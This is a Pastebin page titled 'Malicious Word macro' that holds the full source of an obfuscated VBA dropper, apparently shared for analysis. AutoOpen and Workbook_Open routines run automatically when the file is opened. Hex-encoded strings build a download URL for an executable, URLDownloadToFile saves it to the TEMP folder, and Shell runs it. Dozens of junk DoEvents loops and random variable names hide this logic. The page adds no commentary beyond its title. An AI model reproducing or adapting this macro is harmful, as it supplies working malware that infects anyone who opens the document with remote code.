SHARE
TWEET

Malicious Word macro

dynamoo Jan 14th, 2015 280 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  11.     "URLDownloadToFileA" (ByVal dfgfdg As LongPtr, _
  12.     ByVal szURL As String, _
  13.     ByVal szFileName As String, _
  14.     ByVal dwReserved As Long, _
  15.     ByVal lpfnCB As LongPtr) As LongPtr
  16. #Else
  17.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  18.     "URLDownloadToFileA" (ByVal dfgfdg As Long, _
  19.     ByVal szURL As String, _
  20.     ByVal szFileName As String, _
  21.     ByVal dwReserved As Long, _
  22.     ByVal lpfnCB As Long) As Long
  23. #End If
  24.  
  25.  
  26. Sub uiwefds()
  27. Dim gGpRktBl As Integer
  28. For gGpRktBl = 0 To 8
  29. Dim zpKNMuMT As Integer
  30. For zpKNMuMT = 0 To 3
  31. Dim hIQYfdFo As Integer
  32. For hIQYfdFo = 0 To 5
  33. DoEvents
  34. Next hIQYfdFo
  35. DoEvents
  36. Next zpKNMuMT
  37. Dim lpFmypAl As Integer
  38. For lpFmypAl = 0 To 6
  39. DoEvents
  40. Next lpFmypAl
  41. DoEvents
  42. Next gGpRktBl
  43. Dim ySWFSeYG As Integer
  44. For ySWFSeYG = 0 To 3
  45. Dim AlvUcBFT As Integer
  46. For AlvUcBFT = 0 To 7
  47. DoEvents
  48. Next AlvUcBFT
  49. DoEvents
  50. Next ySWFSeYG
  51. Dim knlyQpre As Integer
  52. For knlyQpre = 0 To 8
  53. DoEvents
  54. Next knlyQpre
  55. UGivgHgfdg
  56. End Sub
  57. Sub AutoOpen()
  58. Dim nwxTaHRl As Integer
  59. For nwxTaHRl = 0 To 7
  60. Dim obzdPVAf As Integer
  61. For obzdPVAf = 0 To 9
  62. Dim OmMNRXJG As Integer
  63. For OmMNRXJG = 0 To 3
  64. DoEvents
  65. Next OmMNRXJG
  66. DoEvents
  67. Next obzdPVAf
  68. Dim suTigmIA As Integer
  69. For suTigmIA = 0 To 1
  70. DoEvents
  71. Next suTigmIA
  72. DoEvents
  73. Next nwxTaHRl
  74. Dim BYXQBoHQ As Integer
  75. For BYXQBoHQ = 0 To 8
  76. Dim JbCFvDaj As Integer
  77. For JbCFvDaj = 0 To 6
  78. DoEvents
  79. Next JbCFvDaj
  80. DoEvents
  81. Next BYXQBoHQ
  82. Dim lsIXosKe As Integer
  83. For lsIXosKe = 0 To 2
  84. DoEvents
  85. Next lsIXosKe
  86.     uiwefds
  87. End Sub
  88. Sub Workbook_Open()
  89. Dim bAXYAJVG As Integer
  90. For bAXYAJVG = 0 To 3
  91. Dim nlEiEQgN As Integer
  92. For nlEiEQgN = 0 To 7
  93. Dim XBdRXQab As Integer
  94. For XBdRXQab = 0 To 1
  95. DoEvents
  96. Next XBdRXQab
  97. DoEvents
  98. Next nlEiEQgN
  99. Dim qhFwevwb As Integer
  100. For qhFwevwb = 0 To 4
  101. DoEvents
  102. Next qhFwevwb
  103. DoEvents
  104. Next bAXYAJVG
  105. Dim jncTKWEc As Integer
  106. For jncTKWEc = 0 To 5
  107. Dim DMpODKMf As Integer
  108. For DMpODKMf = 0 To 9
  109. DoEvents
  110. Next DMpODKMf
  111. DoEvents
  112. Next jncTKWEc
  113. Dim hQvArfbL As Integer
  114. For hQvArfbL = 0 To 5
  115. DoEvents
  116. Next hQvArfbL
  117.     uiwefds
  118. End Sub
  119. Sub UGivgHgfdg()
  120. Dim vYxYaLlq As Integer
  121. For vYxYaLlq = 0 To 6
  122. Dim EzeitYyD As Integer
  123. For EzeitYyD = 0 To 4
  124. Dim AlYXkoUH As Integer
  125. For AlYXkoUH = 0 To 1
  126. DoEvents
  127. Next AlYXkoUH
  128. DoEvents
  129. Next EzeitYyD
  130. Dim eoXFIRdw As Integer
  131. For eoXFIRdw = 0 To 6
  132. DoEvents
  133. Next eoXFIRdw
  134. DoEvents
  135. Next vYxYaLlq
  136. Dim yFFhGtVb As Integer
  137. For yFFhGtVb = 0 To 9
  138. Dim JnXGRXWl As Integer
  139. For JnXGRXWl = 0 To 6
  140. DoEvents
  141. Next JnXGRXWl
  142. DoEvents
  143. Next yFFhGtVb
  144. Dim tXzjjYef As Integer
  145. For tXzjjYef = 0 To 9
  146. DoEvents
  147. Next tXzjjYef
  148. hJBJ = HexToString("6874")
  149. JNlkdfg = HexToString("74703A2F2F")
  150. ihjkB = HexToString("666F72642D6D757374616E672E726F2F6A732F62696E2E657865")
  151.     fdgdfg = hJBJ + JNlkdfg + ihjkB
  152. Dim lqLKIVNx As Integer
  153. For lqLKIVNx = 0 To 2
  154. Dim eiaklfFu As Integer
  155. For eiaklfFu = 0 To 5
  156. Dim dauCSTca As Integer
  157. For dauCSTca = 0 To 7
  158. DoEvents
  159. Next dauCSTca
  160. DoEvents
  161. Next eiaklfFu
  162. Dim nxdvbgYM As Integer
  163. For nxdvbgYM = 0 To 9
  164. DoEvents
  165. Next nxdvbgYM
  166. DoEvents
  167. Next lqLKIVNx
  168. Dim TMSvrSYK As Integer
  169. For TMSvrSYK = 0 To 1
  170. Dim gFdbwYgL As Integer
  171. For gFdbwYgL = 0 To 5
  172. DoEvents
  173. Next gFdbwYgL
  174. DoEvents
  175. Next TMSvrSYK
  176. Dim gFpQRRBa As Integer
  177. For gFpQRRBa = 0 To 5
  178. DoEvents
  179. Next gFpQRRBa
  180.     ferf34fe = Environ(HexToString("54454D50")) & HexToString("5C64736572727474667364662E657865")
  181. Dim gFjrheUI As Integer
  182. For gFjrheUI = 0 To 5
  183. Dim hOULTBjw As Integer
  184. For hOULTBjw = 0 To 8
  185. Dim Minwcedp As Integer
  186. For Minwcedp = 0 To 7
  187. DoEvents
  188. Next Minwcedp
  189. DoEvents
  190. Next hOULTBjw
  191. Dim moBRdIni As Integer
  192. For moBRdIni = 0 To 2
  193. DoEvents
  194. Next moBRdIni
  195. DoEvents
  196. Next gFjrheUI
  197. Dim RaoPSQQx As Integer
  198. For RaoPSQQx = 0 To 4
  199. Dim YFqOUvzZ As Integer
  200. For YFqOUvzZ = 0 To 2
  201. DoEvents
  202. Next YFqOUvzZ
  203. DoEvents
  204. Next RaoPSQQx
  205. Dim llBTdQhB As Integer
  206. For llBTdQhB = 0 To 9
  207. DoEvents
  208. Next llBTdQhB
  209.     wqewr = URLDownloadToFile(0&, fdgdfg, ferf34fe, 0&, 0&)
  210.    Dim jkdfdklf
  211. Dim EzonLPSw As Integer
  212. For EzonLPSw = 0 To 1
  213. Dim LdtexvzQ As Integer
  214. For LdtexvzQ = 0 To 7
  215. Dim lHhPUkHp As Integer
  216. For lHhPUkHp = 0 To 2
  217. DoEvents
  218. Next lHhPUkHp
  219. DoEvents
  220. Next LdtexvzQ
  221. Dim RwRELqYw As Integer
  222. For RwRELqYw = 0 To 4
  223. DoEvents
  224. Next RwRELqYw
  225. DoEvents
  226. Next EzonLPSw
  227. Dim iRUMEqxS As Integer
  228. For iRUMEqxS = 0 To 9
  229. Dim aHhQAKGU As Integer
  230. For aHhQAKGU = 0 To 8
  231. DoEvents
  232. Next aHhQAKGU
  233. DoEvents
  234. Next iRUMEqxS
  235. Dim DwrYurer As Integer
  236. For DwrYurer = 0 To 3
  237. DoEvents
  238. Next DwrYurer
  239.     jkdfdklf = Shell(ferf34fe, 1)
  240.  
  241. End Sub
  242.  
  243.  
  244. Public Function HexToString(ByVal hextext As String) As String
  245. Dim gVidOqxP As Integer
  246. For gVidOqxP = 0 To 1
  247. Dim QkaDCilb As Integer
  248. For QkaDCilb = 0 To 3
  249. Dim OTGPqBNg As Integer
  250. For OTGPqBNg = 0 To 8
  251. DoEvents
  252. Next OTGPqBNg
  253. DoEvents
  254. Next QkaDCilb
  255. Dim ZllwFttU As Integer
  256. For ZllwFttU = 0 To 7
  257. DoEvents
  258. Next ZllwFttU
  259. DoEvents
  260. Next gVidOqxP
  261. Dim RtRcnfvK As Integer
  262. For RtRcnfvK = 0 To 4
  263. Dim bINWqiCp As Integer
  264. For bINWqiCp = 0 To 7
  265. DoEvents
  266. Next bINWqiCp
  267. DoEvents
  268. Next RtRcnfvK
  269. Dim yXJRTRHC As Integer
  270. For yXJRTRHC = 0 To 6
  271. DoEvents
  272. Next yXJRTRHC
  273.    
  274. For y = 1 To Len(hextext)
  275. Dim lnqaAuoM As Integer
  276. For lnqaAuoM = 0 To 2
  277. Dim AmqCCjjm As Integer
  278. For AmqCCjjm = 0 To 4
  279. Dim NYQzWOES As Integer
  280. For NYQzWOES = 0 To 2
  281. DoEvents
  282. Next NYQzWOES
  283. DoEvents
  284. Next AmqCCjjm
  285. Dim YMASgyxn As Integer
  286. For YMASgyxn = 0 To 8
  287. DoEvents
  288. Next YMASgyxn
  289. DoEvents
  290. Next lnqaAuoM
  291. Dim OEVBtoLb As Integer
  292. For OEVBtoLb = 0 To 5
  293. Dim WqaGRHAO As Integer
  294. For WqaGRHAO = 0 To 1
  295. DoEvents
  296. Next WqaGRHAO
  297. DoEvents
  298. Next OEVBtoLb
  299. Dim AvKbBdwx As Integer
  300. For AvKbBdwx = 0 To 7
  301. DoEvents
  302. Next AvKbBdwx
  303.     num = Mid(hextext, y, 2)
  304. Dim jPknciYa As Integer
  305. For jPknciYa = 0 To 5
  306. Dim qmsWyPmv As Integer
  307. For qmsWyPmv = 0 To 6
  308. Dim ftZPcZgm As Integer
  309. For ftZPcZgm = 0 To 1
  310. DoEvents
  311. Next ftZPcZgm
  312. DoEvents
  313. Next qmsWyPmv
  314. Dim pbHIjRpI As Integer
  315. For pbHIjRpI = 0 To 7
  316. DoEvents
  317. Next pbHIjRpI
  318. DoEvents
  319. Next jPknciYa
  320. Dim LljZwaJN As Integer
  321. For LljZwaJN = 0 To 3
  322. Dim DuMjRrVO As Integer
  323. For DuMjRrVO = 0 To 6
  324. DoEvents
  325. Next DuMjRrVO
  326. DoEvents
  327. Next LljZwaJN
  328. Dim WqeUyBDM As Integer
  329. For WqeUyBDM = 0 To 7
  330. DoEvents
  331. Next WqeUyBDM
  332.     Value = Value & Chr(CDbl("&h" & num))
  333. Dim sfFStdfd As Integer
  334. For sfFStdfd = 0 To 1
  335. Dim cJfSSvoM As Integer
  336. For cJfSSvoM = 0 To 1
  337. Dim oUyvDSAh As Integer
  338. For oUyvDSAh = 0 To 6
  339. DoEvents
  340. Next oUyvDSAh
  341. DoEvents
  342. Next cJfSSvoM
  343. Dim hHKnWRrm As Integer
  344. For hHKnWRrm = 0 To 7
  345. DoEvents
  346. Next hHKnWRrm
  347. DoEvents
  348. Next sfFStdfd
  349. Dim kTKxjRfd As Integer
  350. For kTKxjRfd = 0 To 2
  351. Dim ORMmfhxQ As Integer
  352. For ORMmfhxQ = 0 To 8
  353. DoEvents
  354. Next ORMmfhxQ
  355. DoEvents
  356. Next kTKxjRfd
  357. Dim HDYxwiBG As Integer
  358. For HDYxwiBG = 0 To 1
  359. DoEvents
  360. Next HDYxwiBG
  361.     y = y + 1
  362. Next y
  363.  
  364. Dim fNVNMpvZ As Integer
  365. For fNVNMpvZ = 0 To 7
  366. Dim esZUGMus As Integer
  367. For esZUGMus = 0 To 3
  368. Dim EgPicvGe As Integer
  369. For EgPicvGe = 0 To 4
  370. DoEvents
  371. Next EgPicvGe
  372. DoEvents
  373. Next esZUGMus
  374. Dim doqtuJbQ As Integer
  375. For doqtuJbQ = 0 To 1
  376. DoEvents
  377. Next doqtuJbQ
  378. DoEvents
  379. Next fNVNMpvZ
  380. Dim OECzGgGL As Integer
  381. For OECzGgGL = 0 To 2
  382. Dim TzHPynYW As Integer
  383. For TzHPynYW = 0 To 2
  384. DoEvents
  385. Next TzHPynYW
  386. DoEvents
  387. Next OECzGgGL
  388. Dim hMwkDaKX As Integer
  389. For hMwkDaKX = 0 To 8
  390. DoEvents
  391. Next hMwkDaKX
  392. HexToString = Value
  393. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top